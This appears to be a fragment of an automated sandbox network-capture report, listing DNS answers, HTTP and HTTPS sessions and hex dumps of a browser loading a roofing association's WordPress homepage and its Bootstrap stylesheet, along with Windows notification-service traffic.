Apr 23, 2024 16:54:29.234285116 CEST	1.1.1.1	192.168.2.6	0xaeef	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:29.234285116 CEST	1.1.1.1	192.168.2.6	0xaeef	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	192.124.249.102	80	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 16:53:38.979655981 CEST	437	OUT	GET / HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 23, 2024 16:53:39.097019911 CEST	502	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.asphaltroofing.org/ Vary: Accept-Encoding X-Sucuri-Cache: HIT
Apr 23, 2024 16:54:24.104413033 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 23, 2024 16:53:51.492338896 CEST	173.222.162.64	443	192.168.2.6	49706	CN=r.bing.com, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US	CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Oct 18 22:32:40 CEST 2023 Wed Aug 12 02:00:00 CEST 2020	Fri Jun 28 01:59:59 CEST 2024 Fri Jun 28 01:59:59 CEST 2024	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
Apr 23, 2024 16:53:51.492338896 CEST	173.222.162.64	443	192.168.2.6	49706	CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Aug 12 02:00:00 CEST 2020	Fri Jun 28 01:59:59 CEST 2024		28a2c9bd18a11de089ef85a160da29e4

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49715	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 45 7a 39 75 63 4c 6f 7a 55 4f 69 41 51 4a 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 35 34 38 33 34 32 38 62 39 66 31 31 66 33 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: YEz9ucLozUOiAQJH.1Context: 55483428b9f11f3d
2024-04-23 14:53:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 14:53:39 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 59 45 7a 39 75 63 4c 6f 7a 55 4f 69 41 51 4a 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 35 34 38 33 34 32 38 62 39 66 31 31 66 33 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 6c 62 2b 57 67 59 4e 43 38 55 37 6b 51 50 4a 79 72 44 31 34 53 77 45 71 2f 55 47 65 57 78 34 7a 74 51 6b 6b 30 53 57 61 66 59 30 6d 78 4d 34 46 4d 2f 56 61 6f 56 4d 51 53 65 36 50 68 52 57 4b 30 68 2f 4c 6a 30 52 35 5a 56 68 35 61 71 57 4c 37 31 49 64 33 51 32 50 48 75 56 47 69 55 70 6a 54 5a 47 53 69 38 66 42 4c 6f 4c 77 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: YEz9ucLozUOiAQJH.2Context: 55483428b9f11f3d<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQlb+WgYNC8U7kQPJyrD14SwEq/UGeWx4ztQkk0SWafY0mxM4FM/VaoVMQSe6PhRWK0h/Lj0R5ZVh5aqWL71Id3Q2PHuVGiUpjTZGSi8fBLoLw
2024-04-23 14:53:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 45 7a 39 75 63 4c 6f 7a 55 4f 69 41 51 4a 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 35 34 38 33 34 32 38 62 39 66 31 31 66 33 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: YEz9ucLozUOiAQJH.3Context: 55483428b9f11f3d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 14:53:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 14:53:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 43 35 52 38 30 4d 4c 47 45 71 64 77 59 2b 79 37 6a 76 2f 32 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: RC5R80MLGEqdwY+y7jv/2A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49718	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:39 UTC	665	OUT	GET / HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:39 UTC	625	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 21229 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/44>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/>; rel=shortlink Vary: Accept-Encoding Content-Encoding: gzip X-Sucuri-Cache: HIT
2024-04-23 14:53:39 UTC	7567	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 7b 72 db c6 d2 38 fa b7 54 95 3d 8c e9 b2 29 1e 13 24 00 be 29 4b f9 68 59 b6 95 58 7e 48 b2 73 1c db c5 02 c1 21 09 09 04 18 00 14 a5 38 ae ba db b8 4b b8 db b8 4b f9 ad e4 d7 3d 33 00 06 24 f8 14 ed e4 3b c7 4a 2c 91 f3 e8 e9 ee e9 e9 e9 9e 47 cf e3 7b 4f 5f 1f 5d 7c 78 73 4c 06 c1 d0 3e fc 69 f7 31 fe 25 b6 e1 f4 0f 32 d4 c9 b0 14 6a 74 e1 2f 81 9f c7 f7 14 85 3c bf 38 25 e7 8e 35 1a d1 80 f4 5c 8f 3c a3 46 30 f0 72 44 51 b0 b4 6f 7a d6 28 38 dc eb 8d 1d 33 b0 5c 67 6f 92 ef e6 fd bc 9d b7 72 5f 26 1f ed cf 07 f8 eb af bf 3e 7e de c7 0f 85 d1 d8 1f ec 7d c9 f6 83 61 c1 0f 0c 2f c8 36 7f da 75 e8 84 3c 35 02 ba 97 2b f4 69 70 61 0d e1 53 9e 5e 53 27 68 b2 82 97 7e f6 6b 6e ff da f0 48 ef a0 8b 45 8e 6d 3a 84 5c ff c9 Data Ascii: {r8T=)$)KhYX~Hs!8KK=3$;J,G{O_]\|xsL>i1%2jt/<8%5\<F0rDQoz(83\gor_&>~}a/6u<5+ipaS^S'h~knHEm:\
2024-04-23 14:53:39 UTC	8192	IN	Data Raw: 73 c3 c1 cb e2 f3 82 3f a0 b4 1f d7 a1 60 15 7d 91 61 d0 42 1f 65 82 3d 51 54 b0 7c fe 54 11 26 a2 28 b2 cc 26 f9 88 7f 3f 0b 3e ec a0 ca df c3 e1 60 e1 04 4f 0b 9e 9d 63 1e 0d 16 fa 68 7d 9e 65 4e 98 ac e6 c2 2f 8c 8f f8 49 d1 3e ef 4f 61 c3 99 4c ed 59 38 2c 8d 73 79 6f 1a 5f 0a 48 3c 7c c8 0a 89 d7 91 b0 3d 46 01 8e 1f 4c df 4f b6 31 43 f1 40 50 3c 10 14 0f 56 a1 78 90 4e f1 40 a6 78 10 51 3c e0 14 0b b0 32 e1 cc 81 b7 85 8f 1f a2 e4 85 b4 e4 42 0d b2 63 dd 40 19 35 9f a8 bb e3 db 53 4c 94 75 04 ca f0 e1 01 e8 1b 2e 8b 3c 33 e6 c5 b4 56 98 2d ce 0a ec cb b0 07 8b 60 0f a6 60 0f 96 c1 1e 24 90 4f e3 b5 63 87 1c f4 f0 d3 e3 59 0d 19 02 64 f9 21 02 3e e3 a7 fd 51 15 32 36 b7 15 47 f4 a7 6f 1f f2 a6 40 92 d8 87 43 e8 c0 2f 24 84 03 90 89 75 73 60 ed 7f dd Data Ascii: s?`}aBe=QT\|T&(&?>`Och}eN/I>OaLY8,syo_H<\|=FLO1C@P<VxN@xQ<2Bc@5SLu.<3V-``$OcYd!>Q26Go@C/$us`
2024-04-23 14:53:39 UTC	5470	IN	Data Raw: 26 d2 83 df 5d 13 2d 9c 00 37 d3 ca df 73 ce 64 47 6e 16 ae 3b c5 2f d8 1b fe 15 bb dd 4c 6f 80 f4 40 9e 26 5b fe 15 b9 00 47 f1 98 e5 48 53 e5 7f 11 77 80 0a 25 34 b4 64 de 9c b6 2e 40 4b f0 f4 85 46 c4 0f b9 fd 46 3d 73 cd ce a0 db 56 c7 33 bc 5b b9 6b d8 e1 74 f2 92 67 fc 77 4a 2d df 33 05 93 43 e9 80 ed 89 a7 ed 13 c2 7b 11 66 93 27 61 f6 62 43 78 9b b2 1d 7e 0e 2d d1 85 b2 2e 9b b3 15 b5 51 a9 e8 7a b9 5a 2e 6b ab 8f 81 c5 d3 57 19 6f 6e 6e 30 7f 7d e7 03 3b 69 c5 bf c3 6b d7 b3 04 b2 f3 4d 52 f1 71 f8 be e5 00 8c ec a1 d2 a3 b4 ab c0 70 00 eb c5 c7 b7 d8 f9 71 37 89 b7 98 77 cb 6f 65 65 a4 a7 d0 d1 44 c2 d3 68 99 19 4b 6c 6e 1c 36 d1 1f 29 6d 5c 9b 86 d7 c5 17 a9 07 ae 37 d5 b5 3d 27 83 a3 74 35 2f 92 01 28 26 73 e2 51 f4 06 94 83 4f 3a b7 e4 57 b6 Data Ascii: &]-7sdGn;/Lo@&[GHSw%4d.@KFF=sV3[ktgwJ-3C{f'abCx~-.QzZ.kWonn0};ikMRqpq7woeeDhKln6)m\7='t5/(&sQO:W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	638	OUT	GET /wp-content/plugins/content-views-query-and-display-post-page/public/assets/css/cv.css?ver=3.6.4 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:40 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 86532 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:43 GMT ETag: "620037-15204-6138f8b99a8ae" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:40 UTC	7652	IN	Data Raw: 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 35 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 35 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 2a 2f 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 33 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 2e 70 74 2d 63 76 2d Data Ascii: /! Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) //! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css */.pt-cv-
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 5c 65 30 33 38 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 71 72 63 6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 39 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 30 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 61 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 31 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 61 67 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 32 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 6f Data Ascii: \e038"}.pt-cv-wrapper .glyphicon-qrcode:before{content:"\e039"}.pt-cv-wrapper .glyphicon-barcode:before{content:"\e040"}.pt-cv-wrapper .glyphicon-tag:before{content:"\e041"}.pt-cv-wrapper .glyphicon-tags:before{content:"\e042"}.pt-cv-wrapper .glyphicon-bo
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 68 6f 6e 65 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 38 33 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 6f 77 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 38 34 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 74 61 74 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 38 35 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 64 2d 76 69 64 65 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 38 36 22 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 68 Data Ascii: }.pt-cv-wrapper .glyphicon-phone-alt:before{content:"\e183"}.pt-cv-wrapper .glyphicon-tower:before{content:"\e184"}.pt-cv-wrapper .glyphicon-stats:before{content:"\e185"}.pt-cv-wrapper .glyphicon-sd-video:before{content:"\e186"}.pt-cv-wrapper .glyphicon-h
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 70 70 65 72 20 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 31 7b 72 69 67 68 74 3a 39 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 30 7b 72 69 67 68 74 3a 38 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 39 7b 72 69 67 68 74 3a 37 35 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 38 7b 72 69 67 68 74 3a 36 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 37 7b 72 69 67 68 74 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 78 73 2d 70 75 6c 6c Data Ascii: pper .col-xs-pull-11{right:91.66666667%}.pt-cv-wrapper .col-xs-pull-10{right:83.33333333%}.pt-cv-wrapper .col-xs-pull-9{right:75%}.pt-cv-wrapper .col-xs-pull-8{right:66.66666667%}.pt-cv-wrapper .col-xs-pull-7{right:58.33333333%}.pt-cv-wrapper .col-xs-pull
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 2d 70 75 6c 6c 2d 31 30 7b 72 69 67 68 74 3a 38 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 39 7b 72 69 67 68 74 3a 37 35 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 38 7b 72 69 67 68 74 3a 36 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 37 7b 72 69 67 68 74 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 36 7b 72 69 67 68 74 3a 35 30 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 35 7b 72 69 67 68 74 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d Data Ascii: -pull-10{right:83.33333333%}.pt-cv-wrapper .col-lg-pull-9{right:75%}.pt-cv-wrapper .col-lg-pull-8{right:66.66666667%}.pt-cv-wrapper .col-lg-pull-7{right:58.33333333%}.pt-cv-wrapper .col-lg-pull-6{right:50%}.pt-cv-wrapper .col-lg-pull-5{right:41.66666667%}
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 73 61 62 6c 65 64 3a 66 6f 63 75 73 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 5b 64 69 73 61 62 6c 65 64 5d 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 5b 64 69 73 61 62 6c 65 64 5d 2e 61 63 74 69 76 65 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 5b 64 69 73 61 62 6c 65 64 5d 2e 66 6f 63 75 73 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 5b 64 69 73 61 62 6c 65 64 5d 3a 61 63 74 69 76 65 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 Data Ascii: sabled:focus,.pt-cv-wrapper .btn-success.disabled:hover,.pt-cv-wrapper .btn-success[disabled],.pt-cv-wrapper .btn-success[disabled].active,.pt-cv-wrapper .btn-success[disabled].focus,.pt-cv-wrapper .btn-success[disabled]:active,.pt-cv-wrapper .btn-success
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 62 6c 6f 63 6b 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 74 72 2e 63 6f 6c 6c 61 70 73 65 2e 69 6e 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 72 6f 77 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 74 62 6f 64 79 2e 63 6f 6c 6c 61 70 73 65 2e 69 6e 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 72 6f 77 2d 67 72 6f 75 70 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 6f 6c 6c 61 70 73 69 6e 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 68 65 69 67 68 74 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 68 65 69 67 68 74 2c 76 69 73 69 62 69 6c 69 74 79 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 68 65 69 67 68 Data Ascii: block}.pt-cv-wrapper tr.collapse.in{display:table-row}.pt-cv-wrapper tbody.collapse.in{display:table-row-group}.pt-cv-wrapper .collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-property:height,visibility;-o-transition-property:heigh
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 6e 61 76 3e 6c 69 2e 64 69 73 61 62 6c 65 64 3e 61 7b 63 6f 6c 6f 72 3a 23 37 37 37 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 6e 61 76 3e 6c 69 2e 64 69 73 61 62 6c 65 64 3e 61 3a 66 6f 63 75 73 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 6e 61 76 3e 6c 69 2e 64 69 73 61 62 6c 65 64 3e 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 7d 2e 70 Data Ascii: over{text-decoration:none;background-color:#eee}.pt-cv-wrapper .nav>li.disabled>a{color:#777}.pt-cv-wrapper .nav>li.disabled>a:focus,.pt-cv-wrapper .nav>li.disabled>a:hover{color:#777;text-decoration:none;background-color:transparent;cursor:not-allowed}.p
